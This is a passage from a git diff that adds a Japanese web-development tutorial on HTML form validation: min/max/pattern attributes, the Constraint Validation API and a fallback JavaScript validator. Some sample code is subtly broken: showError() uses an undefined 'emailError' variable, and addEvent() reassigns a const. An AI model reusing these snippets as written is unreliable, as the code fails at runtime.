の値より大きい場合は、フィールドは不正です。</p> + +<p>ブラウザーはよくテキストフィールドに期待している以上に入力させないことがあります。単に <code>maxlength</code> を使うよりも良いユーザーエクスペリエンスは、入力文字数のフィードバックを提供してサイズ以下でコンテンツを編集できるようにもしておくことです。例えば、Twitter の文字入力の制限があります。これは JavaScript と <a href="https://github.com/mimo84/bootstrap-maxlength"><code>maxlength</code> を使った解決策</a>の組合せで実現できます。</p> + +<h3 id="Constraining_the_values_of_your_entries" name="Constraining_the_values_of_your_entries">入力欄の値に制約を加える</h3> + +<p>数値のフィールド (例えば <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/number"><input type="number"></a></code>) の場合、<code><a href="/ja/docs/Web/HTML/Attributes/min">min</a></code> 属性と <code><a href="/ja/docs/Web/HTML/Attributes/max">max</a></code> 属性によって入力に制限を加えられます。もしそのフィールドの値がこの範囲を超える場合、そのフィールドは妥当ではありません。</p> + +<p>他の例を見てみましょう。<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> ファイルの新しいコピーを作成してください。</p> + +<p>では、<code><body></code> 要素の中身を削除して、以下のように置き換えてください。</p> + +<pre class="brush: html notranslate"><form> + <div> + <label for="choose">banana と cherry のどちらが好き?</label> + <input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"> + </div> + <div> + <label for="number">どのくらい要ります?</label> + <input type="number" id="number" name="amount" value="1" min="1" max="10"> + </div> + <div> + <button>Submit</button> + </div> +</form></pre> + +<ul> + <li>ここで、<code>text</code> フィールドには <code>minlength</code> 属性と <code>maxlength</code> 属性には 6 を指定しています。これは banana「バナナ」と cherry「さくらんぼ」の文字数と同じです。</li> + <li>またここでは、<code>number</code> フィールドに <code>min</code> 属性で 1 を <code>max</code> 属性で 10 を指定しました。この範囲外の数字の入力は妥当ではないと表示されます。ユーザーは矢印を使ってこの範囲外の値に増減できませんが、ユーザーが数字を手入力した場合はデータは不正となります。この数字は必須ではないので、値を除去すると妥当になります。</li> +</ul> + +<pre class="brush: css notranslate">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +} + +div { + margin-bottom: 10px; +}</pre> + +<p>例をライブで実行してみましょう。</p> + +<p>{{EmbedLiveSample("Constraining_the_length_of_your_entries", "100%", 100)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-length.html">fruit-length.html</a> でライブサンプルを見ることができます(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-pattern.html">ソースコード</a>も見てください)</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code><input type="number"></code> （及び <code>range</code> や <code>date</code> のような他の型）は <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/step"><code>step</code></a> 属性を取ることもでき、入力コントロール（数値の増加・減少ボタンなど）を使用するときに上げ下げすることができる値の刻みを設定することができます。上の例では <code>step</code> 属性を入れていませんので、既定値の <code>1</code> となります。つまり 3.2 のような浮動小数でも、不正になります。</p> +</div> + +<h3 id="Full_example" name="Full_example">サンプル全体</h3> + +<p>HTML の内蔵検証機能の使い方を示す例の全体を示します。まずは HTML から:</p> + +<pre class="brush: html notranslate"><form> + <p> + <fieldset> + <legend>Do you have a driver's license?<abbr title="This field is mandatory" aria-label="required">*</abbr></legend> + <!-- While only one radio button in a same-named group can be selected at a time, + and therefore only one radio button in a same-named group having the "required" + attribute suffices in making a selection a requirement --> + <input type="radio" required name="driver" id="r1" value="yes"><label for="r1">Yes</label> + <input type="radio" required name="driver" id="r2" value="no"><label for="r2">No</label> + </fieldset> + </p> + <p> + <label for="n1">How old are you?</label> + <!-- pattern 属性は number 型の入力欄を実装していないものの、pattern + 属性には対応しているブラウザー向けの代替策として動作できます。 + なお、pattern 属性に対応しているブラウザーでは、number 型の入力欄 + で使用すると暗黙に失敗します。 + ここでは代替策としての使い方のみです。--> + <input type="number" min="12" max="120" step="1" id="n1" name="age" + pattern="\d+"> + </p> + <p> + <label for="t1">What's your favorite fruit?<abbr title="This field is mandatory" aria-label="required">*</abbr></label> + <input type="text" id="t1" name="fruit" list="l1" required + pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range"> + <datalist id="l1"> + <option>Banana</option> + <option>Cherry</option> + <option>Apple</option> + <option>Strawberry</option> + <option>Lemon</option> + <option>Orange</option> + </datalist> + </p> + <p> + <label for="t2">What's your e-mail address?</label> + <input type="email" id="t2" name="email"> + </p> + <p> + <label for="t3">Leave a short message</label> + <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea> + </p> + <p> + <button>Submit</button> + </p> +</form></pre> + +<p>この HTML をスタイル設定する CSS は:</p> + +<pre class="brush: css notranslate">form { + font: 1em sans-serif; + max-width: 320px; +} + +p > label { + display: block; +} + +input[type="text"], +input[type="email"], +input[type="number"], +textarea, +fieldset { + width : 100%; + border: 1px solid #333; + box-sizing: border-box; +} + +input:invalid { + box-shadow: 0 0 5px 1px red; +} + +input:focus:invalid { + box-shadow: none; +}</pre> + +<p>これで次のようにレンダリングされます。</p> + +<p>{{EmbedLiveSample("Full_example", "100%", 420)}}</p> + +<p>入力値と、それをサポートする入力タイプの制約に使える属性の完全なリストは、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/Guide/HTML/HTML5/Constraint_validation#Validation-related_attributes">検証関連の属性</a>を見てください。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-length.html">fruit-length.html</a> でライブサンプルを見ることができます(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-pattern.html">ソースコード</a>も見てください)</p> +</div> + +<h2 id="Validating_forms_using_JavaScript" name="Validating_forms_using_JavaScript">JavaScript を使用したフォーム検証</h2> + +<p>内蔵のエラーメッセージの見かけを制御したい場合や、HTML5 のフォーム検証に対応していないブラウザーに対処したい場合は、JavaScript を使用する必要があります。この節では、このようにするさまざまな方法を見ていきます。</p> + +<h3 id="The_HTML5_constraint_validation_API" name="The_HTML5_constraint_validation_API">HTML5 の制約検証 API</h3> + +<p>多くのブラウザーが <a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Constraint_validation">制約検証API</a> に対応しています。この API は各フォーム要素で使用できる一連のメソッドやプロパティで構成されています。</p> + +<ul> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLButtonElement">HTMLButtonElement</a></code> (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/button"><button></a></code> 要素を表現)</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLFieldSetElement">HTMLFieldSetElement</a></code> (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/fieldset"><fieldset></a></code> 要素を表現)</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLInputElement">HTMLInputElement</a></code> ( <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input"><input></a></code> 要素を表現)</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLOutputElement">HTMLOutputElement</a></code> (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/output"><output></a></code> 要素を表現)</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/select"><select></a></code> 要素を表現)</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLTextAreaElement">HTMLTextAreaElement</a></code> (<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/textarea"><textarea></a></code> 要素を表現)</li> +</ul> + +<p id="Constraint_validation_API_properties">制約検証 API には、上記の要素で利用できる、次のプロパティがあります。</p> + +<ul> + <li><code>validationMessage</code>: コントロールが合格していない制約検証 (もしあれば) を説明するローカライズ済みのメッセージです。またはコントロールが制約の検証の対象ではない場合 (<code>willValidate</code> が <code>false</code>) または要素の値が制約に合格している場合は、空文字列です。</li> + <li><code>validity</code>: 要素の検証状態を説明する <code>ValidityState</code> オブジェクトです。取りうる検証状態の詳細は {{domxref("ValidityState")}}のリファレンスを参照してください。下記はよく使われるものを少し、一覧にしています: + <ul> + <li>{{domxref("ValidityState.patternMismatch", "patternMismatch")}}: 値が指定した {{htmlattrxref("pattern", "input")}}にマッチしない場合 <code>true</code> を、マッチする場合 <code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + <li>{{domxref("ValidityState.tooLong", "tooLong")}}: {{htmlattrxref("maxlength", "input")}} 属性で指定した最大値より値が長い場合 <code>true</code> を、同じ長さ以下の場合 <code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + <li>{{domxref("ValidityState.tooShort", "tooShort")}}: {{htmlattrxref("minlength", "input")}} 属性で指定した最小値より値が短い場合 <code>true</code> を、同じ長さ以上の場合<code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + <li>{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}}: {{htmlattrxref("max", "input")}} 属性で指定し最大値より値が大きい場合<code>true</code> を、同じ大きさ以下の場合 <code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} と {{cssxref(":out-of-range")}}CSS 擬似クラスにマッチする。</li> + <li>{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}}: {{htmlattrxref("min", "input")}} 属性で指定し最小値より値が小さい場合<code>true</code> を、同じ大きさ以上の場合 <code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} と {{cssxref(":out-of-range")}}CSS 擬似クラスにマッチする。</li> + <li>{{domxref("ValidityState.typeMismatch", "typeMismatch")}}: 値が要求する文法でない場合 ({{htmlattrxref("type", "input")}} が <code>email</code> か <code>url</code> のとき)は <code>true</code> を、文法が正しい場合は <code>false</code> を返す。<code>true</code> なら、要素は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + <li><code>valid</code>: 要素が検証制約をすべて満たす、ゆえに妥当とみなされる場合<code>true</code> を、いずれかの制約を満たさない場合 <code>false</code> を返す。true なら、要素は {{cssxref(":valid")}} CSS 擬似クラスにマッチする。そうでない場合は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + <li><code>valueMissing</code>: 要素に {{htmlattrxref("required", "input")}} 属性があって値がない場合は <code>true</code> を、そうでない場合 <code>false</code> を返す。true なら、要素は {{cssxref(":invalid")}} CSS 擬似クラスにマッチする。</li> + </ul> + </li> + <li><code>willValidate</code>: フォームが送信されるときに要素が検証される場合に <code>true</code> を返します。そうでない場合は <code>false</code> を返します。</li> +</ul> + +<p id="Constraint_validation_API_methods">制約検証 API には、上記の要素で利用できる、次のメソッドがあります。</p> + +<ul> + <li><code>checkValidity()</code>: 要素の値で妥当性の問題がない場合に <code>true</code> を返します。そうでない場合は <code>false</code> を返します。要素が不正である場合、このメソッドは要素で {<a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLInputElement/invalid_event"><code>invalid</code> イベント</a>を発生させます。</li> + <li><code>setCustomValidity(<em>message</em>)</code>: 要素に独自のエラーメッセージを追加します。独自のエラーメッセージを設定すると、要素が不正であるとみなされる場合に指定したエラーが表示されます。これにより JavaScript で、標準の HTML5 制約検証 API で提供されるもの以外の検証不合格状態を作り出すことができます。ユーザーに問題を報告する際に、メッセージが表示されます。</li> +</ul> + +<h4 id="独自のエラーメッセージを実装する">独自のエラーメッセージを実装する</h4> + +<p>上記の HTML5 の検証制約の例で見てきたように、ユーザーが不正なフォームを送信しようとするたびにブラウザーはエラーメッセージを表示します。このメッセージを表示する方法は、ブラウザーにより異なります。</p> + +<p>これらの自動のメッセージには、2 つの欠点があります。</p> + +<ul> + <li> CSS でメッセージの表示方法を変更するための標準的な方法がありません。</li> + <li> メッセージはブラウザーのロケールに依存しており、ある言語のページでエラーメッセージが別の言語で表示されることがあり、これは下記の Firefox スクリーンショットで見ることができます。</li> +</ul> + +<p><img alt="Example of an error message with Firefox in French on an English page" src="https://wiki.developer.mozilla.org/files/4329/error-firefox-win7.png" style="height: 97px; width: 228px;"></p> + +<p>これらのメッセージの外見やテキストを変更するには、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Constraint_validation" rel="external">制約検証 API</a> の最も一般的なユースケースです。この使用法を例で詳しく見てみましょう。</p> + +<p>いくつかの簡単な HTML で開始します (空の HTML ファイルにこれを入力します; もしよければ、<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> を基礎としてもいいでしょう):</p> + +<pre class="brush: html notranslate"><form> + <label for="mail">私にメールアドレスを教えてください:</label> + <input type="email" id="mail" name="mail"> + <button>Submit</button> +</form></pre> + +<p>このページに次の JavaScript を追加します:</p> + +<pre class="brush: js notranslate">const email = document.getElementById("mail"); + +email.addEventListener("input", function (event) { + if (email.validity.typeMismatch) { + email.setCustomValidity("I am expecting an e-mail address!"); + } else { + email.setCustomValidity(""); + } +});</pre> + +<p>ここでメールアドレス入力への参照を保管して、入力値が変更されるたびに制約コードが走るためのイベントリスナーを追加します。</p> + +<p>制約コードの中で、メールアドレス入力の <code>validity.typeMismatch</code> プロパティが <code>true</code>かどうか、つまり値がメールアドレスの形式のパターンにマッチしていないかを確認します。その場合、カスタムメッセージとともに <a href="https://wiki.developer.mozilla.org/ja/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"><code>setCustomValidity()</code></a> を呼び出して、フォームを送信するときに、送信が失敗してカスタムエラーメッセージが表示されます。</p> + +<p><code>validity.typeMismatch</code> が <code>false</code>の場合、空文字で <code>setCustomValidity()</code> メソッドを呼び出します。これは入力が妥当となり、フォームが送信されます。</p> + +<p>次のもので試すことができます:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/form-validation/custom-error-message.html", '100%', 80)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この例は GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/custom-error-message.html">custom-error-message.html</a> で見ることができます (<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/custom-error-message.html">ソースコード</a>も見てください)。</p> +</div> + +<h4 id="Example_using_the_constraint_validation_API" name="Example_using_the_constraint_validation_API">制約検証 API の使用例</h4> + +<p>これまでほんとうに簡単な例を見てきましたので、少し複雑な独自の検証を作成するために API を使用する方法を見ていきましょう。</p> + +<p>始めに、HTML です。また、次のものに沿ってみてください:</p> + +<pre class="brush: html notranslate"><form novalidate> + <p> + <label for="mail"> + <span>メールアドレスを入力してください。</span> + <input type="email" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + </p> + <button>Submit</button> +</form></pre> + +<p>この簡単なフォームでは、ブラウザーの自動検証を無効にするために <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/novalidate">novalidate</a></code> 属性を使用しています。これで、検証を制御するためにスクリプトを使用できます。ただし、これは制約検証 API の対応や CSS の疑似クラス {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}}, {{cssxref(":out-of-range")}} の適用を無効にするわけではありません。つまり、データを送信する前にブラウザーが自動的なフォームの妥当性確認を行わないとしても、あなた自身で確認を行って、フォームの状態に応じたスタイル設定ができます。</p> + +<p>検証する入力は <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/email"><input type="email"></a></code>で、これは <code>required</code>(入力必須)で、8文字の <code>minlength</code> があります。これをわれわれのコードで確認して、それぞれカスタムエラーメッセージを表示させてみましょう。</p> + +<p><code><span></code>要素の中にエラーメッセージを表示させようとしています。 <code><span></code>にセットされた <a href="/ja/docs/Accessibility/ARIA/ARIA_Live_Regions"><code>aria-live</code></a> 属性は、スクリーンリーダーのような支援技術を使用している人々を含む皆に、独自のエラーメッセージを提示するようにします。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ここでの要点は、フォームに <code>novalidate</code> 属性をつけると、フォームがエラーメッセージのバブルを表示するのを停止して、その代わりDOM内にカスタムエラーメッセージを選択した方法で表示させられることです。</p> +</div> + +<p>この CSS はフォームの見栄えを少し良くして、入力データが無効なときの見た目のフィードバックを提供します。</p> + +<pre class="brush: css notranslate">/* これはサンプルの見栄えをよくするスタイルです */ +body { + font: 1em sans-serif; + width: 200px; + padding: 0; + margin : 0; +} + +p * { + display: block; +} + +input[type=email]{ + -webkit-appearance: none; + appearance: none; + + width: 100%; + border: 1px solid #333; + margin: 0; + + font-family: inherit; + font-size: 90%; + + box-sizing: border-box; +} + +/* これは不正なフィールド向けのスタイルです */ +input:invalid{ + border-color: #900; + background-color: #FDD; +} + +input:focus:invalid { + outline: none; +} + +/* これはエラーメッセージ向けのスタイルです */ +.error { + width : 100%; + padding: 0; + + font-size: 80%; + color: white; + background-color: #900; + border-radius: 0 0 5px 5px; + + box-sizing: border-box; +} + +.error.active { + padding: 0.3em; +}</pre> + +<p>以下の JavaScript コードは独自のエラー検証を制御します。</p> + +<pre class="brush: js notranslate">// DOM ノードの選択法はたくさんあります。ここではフォーム自体、メールアドレス +// 入力ボックス、そしてエラーメッセージを配置する span 要素を取得しています。 +const form = document.getElementsByTagName('form')[0]; + +const email = document.getElementById('mail'); +const error = document.querySelector('#mail + span.error'); + +email.addEventListener("input", function (event) { + // ユーザーが何かを入力するたびに、メールアドレスのフィールドが妥当かを + // 確認します。 + if (email.validity.valid) { + // エラーメッセージを表示している場合に、フィールドが妥当になれば + // エラーメッセージを取り除きます。 + error.innerHTML = ""; // メッセージの内容物をリセットします + error.className = "error"; // メッセージの表示状態をリセットします + } else { + // If there is still an error, show the correct error + showError(); + } +}); + +form.addEventListener("submit", function (event) { + // ユーザーがデータを送信しようとするたびに、メールアドレスの + // フィールドが妥当かをチェックします。 + if (!email.validity.valid) { + + // フィールドが妥当ではない場合、独自のエラーメッセージを + // 表示します。 + showError(); + // また、イベントをキャンセルしてフォームの送信を止めます。 + event.preventDefault(); + } +}); + +function showError() { + if(email.validity.valueMissing) { + // If the field is empty + // display the following error message. + emailError.textContent = 'You need to enter an e-mail address.'; + } else if(email.validity.typeMismatch) { + // If the field doesn't contain an email address + // display the following error message. + emailError.textContent = 'Entered value needs to be an e-mail address.'; + } else if(email.validity.tooShort) { + // If the data is too short + // display the following error message. + emailError.textContent = `Email should be at least ${ email.minLength } characters; you entered ${ email.value.length }.`; + } + + // Set the styling appropriately + emailError.className = 'error active'; +}</pre> + +<p>コメントがよく説明していますが、簡単にいうと:</p> + +<ul> + <li>入力値を変えるたびに、それが妥当なデータを含んでいるかをチェックします。その場合は表示されたエラーメッセージを削除します。データが不正の場合は、適当なエラーを表示する <code>showError()</code> を実行します。</li> + <li>フォームの送信を試すごとに、またデータが妥当かチェックします。その場合はフォームの送信を許可します。そうでない場合、適当なエラーを表示する <code>showError()</code> を実行し、<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Event/preventDefault">preventDefault()</a></code>でフォーム送信を停止します。</li> + <li><code>showError()</code> 関数は、入力の <code>validity</code> オブジェクトのさまざまなプロパティを使ってエラーがどれかを決めて、適当なエラーメッセージを表示します。</li> +</ul> + +<p>こちらが実際の結果です。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/form-validation/detailed-custom-validation.html", '100%', 150)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: GitHub の <a href="https://mdn.github.io/learning-area/html/forms/form-validation/detailed-custom-validation.html">detailed-custom-validation.html</a> に例があります(<a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/detailed-custom-validation.html">ソースコード</a>見てください)</p> +</div> + +<p>制約検証 API はフォーム検証を制御するための強力なツールであり、HTML および CSS のみで検証を行うよりもはるかにユーザーインターフェイスをコントロールできます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: さらなる情報は、<a href="https://wiki.developer.mozilla.org/ja/docs/Web/Guide/HTML/HTML5/Constraint_validation">制約検証ガイド</a>と<a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Constraint_validation">制約検証 API</a> リファレンスを見てください。</p> +</div> + +<h3 id="Validating_forms_without_a_built-in_API" name="Validating_forms_without_a_built-in_API">組み込み API を使用しないフォーム検証</h3> + +<p>古いブラウザーや<a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets">カスタムコントロール</a>において、制約検証 API を使用できない （または使用したくない）ことがあるでしょう。このような場合でも、フォームを検証するために JavaScript が使用できます。フォームを検証には、実際のデータの検証よりもユーザーインターフェイスの疑問が多くなります。</p> + +<p>フォームを検証するために、あなたはいくつかの疑問を考えなければなりません。</p> + +<dl> + <dt>どのような検証を実施するべきか</dt> + <dd>どのようにデータを検証するかを決めなければなりません。文字列演算、型変換、正規表現など。これはあなた次第です。フォームのデータは常にテキストであり、スクリプトには常に文字列として渡されることを忘れないようにしてください。</dd> + <dt>フォームが妥当でない場合に何をするべきか</dt> + <dd>これは明らかにユーザーインターフェイスの問題です。フォームがどのように動作するかを決めなければなりません。どのような場合でもフォームのデータを送信しますか？エラー状態の入力欄を強調しますか？エラーメッセージを表示しますか？</dd> + <dt>ユーザーが不正なデータを修正することをどのように支援できるか</dt> + <dd>ユーザーの不満を軽減するためには、ユーザーに入力内容の修正を案内するために、できるだけ多くの役立つ情報を提供することがとても重要です。明確なエラーメッセージはもちろん、ユーザーが何を求められているか理解できるように前向きの提案をするべきです。フォーム検証のユーザーインターフェイスの要件について深く知りたいのであれば、ぜひ読むべきである有用な記事があります（英語）。 + <ul> + <li>SmashingMagazine: <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external">Form-Field Validation: The Errors-Only Approach</a></li> + <li>SmashingMagazine: <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external">Web Form Validation: Best Practices and Tutorials</a></li> + <li>Six Revision: <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external">Best Practices for Hints and Validation in Web Forms</a></li> + <li>A List Apart: <a href="http://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external">Inline Validation in Web Forms</a></li> + </ul> + </dd> +</dl> + +<h4 id="An_example_that_doesnt_use_the_constraint_validation_API" name="An_example_that_doesnt_use_the_constraint_validation_API">制約検証 API を使用しない例</h4> + +<p>これまでのことを説明するため、古いブラウザーでも動作するように前出のサンプルを作り直してみましょう。</p> + +<p>ご覧の通り、HTML はほとんど同じであり、HTML5 の validation機能を取り除いただけです</p> + +<pre class="brush: html notranslate"><form> + <p> + <label for="mail"> + <span>メールアドレスを入力してください。</span> + <input type="text" class="mail" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + <p> + <!-- 一部の古いブラウザーでは button 要素で、type 属性に明示的に + submit を設定する必要があります。--> + <button type="submit">Submit</button> +</form></pre> + +<p>同様に、CSS も大きく変更する必要はありません。{{cssxref(":invalid")}} 疑似クラスから実クラスへの変更と、Internet Explorer 6 で動作しない属性セレクターの使用を避けただけです。</p> + +<pre class="brush: css notranslate">/* これはサンプルの見栄えをよくするスタイルです */ +body { + font: 1em sans-serif; + padding: 0; + margin : 0; +} + +form { + max-width: 200px; +} + +p * { + display: block; +} + +input.mail { + -webkit-appearance: none; + + width: 100%; + border: 1px solid #333; + margin: 0; + + font-family: inherit; + font-size: 90%; + + box-sizing: border-box; +} + +/* これは不正なフィールド向けのスタイルです */ +input.invalid{ + border-color: #900; + background-color: #FDD; +} + +input:focus.invalid { + outline: none; +} + +/* これはエラーメッセージ向けのスタイルです */ +.error { + width : 100%; + padding: 0; + + font-size: 80%; + color: white; + background-color: #900; + border-radius: 0 0 5px 5px; + box-sizing: border-box; +} + +.error.active { + padding: 0.3em; +}</pre> + +<p>JavaScript コードでは大きな変更があり、多くの面倒な作業が必要です。</p> + +<pre class="brush: js notranslate">// 古いブラウザーで DOM ノードを選択する方法は少ない +const form = document.getElementsByTagName('form')[0]; +const email = document.getElementById('mail'); + +// 以下は DOM 内で次の兄弟要素にたどり着くための技です。 +// これは容易に無限ループになることがあるため、危険です。 +// 新しいブラウザーでは、element.nextElementSibling を使用しましょう。 +let error = email; +while ((error = error.nextSibling).nodeType != 1); + +// HTML5 仕様書より +const emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; + +// 多くの古いブラウザーは addEventListener メソッドをサポートしていません。 +// 以下はこれを扱うためのシンプルな方法です。なお唯一の方法ではありません。 +function addEvent(element, event, callback) { + let previousEventCallBack = element["on"+event]; + element["on"+event] = function (e) { + const output = callback(e); + + // `false` を返すコールバックはコールバックチェーンを止めて、 + // イベントコールバックの実行を中断します。 + if (output === false) return false; + + if (typeof previousEventCallBack === 'function') { + output = previousEventCallBack(e); + if(output === false) return false; + } + } +}; + +// ここから検証制約の再構築ができます。 +// CSS の疑似クラスに頼ることはできないため、メールアドレスフィールドで +// valid/invalid クラスを明示的に設定しなければなりません。 +addEvent(window, "load", function () { + // ここで、フィールドが空かを確認しています (フィールドは必須入力ではありません) + // 空でなければ、内容部が適切な電子メールアドレスかを確認します。 + const test = email.value.length === 0 || emailRegExp.test(email.value); + + email.className = test ? "valid" : "invalid"; +}); + +// ユーザーがフィールドに入力したときに、何をするかを定義します。 +addEvent(email, "input", function () { + const test = email.value.length === 0 || emailRegExp.test(email.value); + if (test) { + email.className = "valid"; + error.innerHTML = ""; + error.className = "error"; + } else { + email.className = "invalid"; + } +}); + +// ユーザーがデータを送信しようとしたときに何をするかを定義します。 +addEvent(form, "submit", function () { + const test = email.value.length === 0 || emailRegExp.test(email.value); + + if (!test) { + email.className = "invalid"; + error.innerHTML = "I expect an e-mail, darling!"; + error.className = "error active"; + + // 一部の古いブラウザーは event.reventDefault() メソッドをサポートしていません。 + return false; + } else { + email.className = "valid"; + error.innerHTML = ""; + error.className = "error"; + } +});</pre> + +<p>結果は以下のようになります。</p> + +<p>{{EmbedLiveSample("An_example_that_doesnt_use_the_constraint_validation_API", "100%", 130)}}</p> + +<p>ご覧の通り、自分でで検証システムを構築するのは大変なことではありません。難しいのはクロスプラットフォームで、かつ作成するであろうあらゆるフォームで使用できる汎用的なものにすることです。フォーム検証を行うために利用できる、<a href="http://rickharrison.github.com/validate.js/" rel="external">Validate.js</a> のような多くのライブラリがあります。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>クライアント側のフォーム検証は、カスタムスタイル設定やエラーメッセージには複雑な JavaScript を必要としませんが、ユーザーについては注意深く考えることが必要です。ユーザーが正しいデータを入力できるよう支援することを、常に忘れないでください。最後に、以下のことを必ず行ってください。</p> + +<ul> + <li>明確なエラーメッセージを表示してください。</li> + <li>入力形式については寛容になってください。</li> + <li>どこでエラーが発生しているかを正確に示してください（特に大きなフォームで）。</li> +</ul> + +<p>フォームが正しく埋められたことをチェックしたら、送信することができます。次の<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_and_retrieving_form_data">データ送信</a>でカバーします。</p> + +<p>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/how_to_build_custom_form_widgets/example_1/index.html b/files/ja/learn/forms/how_to_build_custom_form_widgets/example_1/index.html new file mode 100644 index 0000000000..1515dc573f --- /dev/null +++ 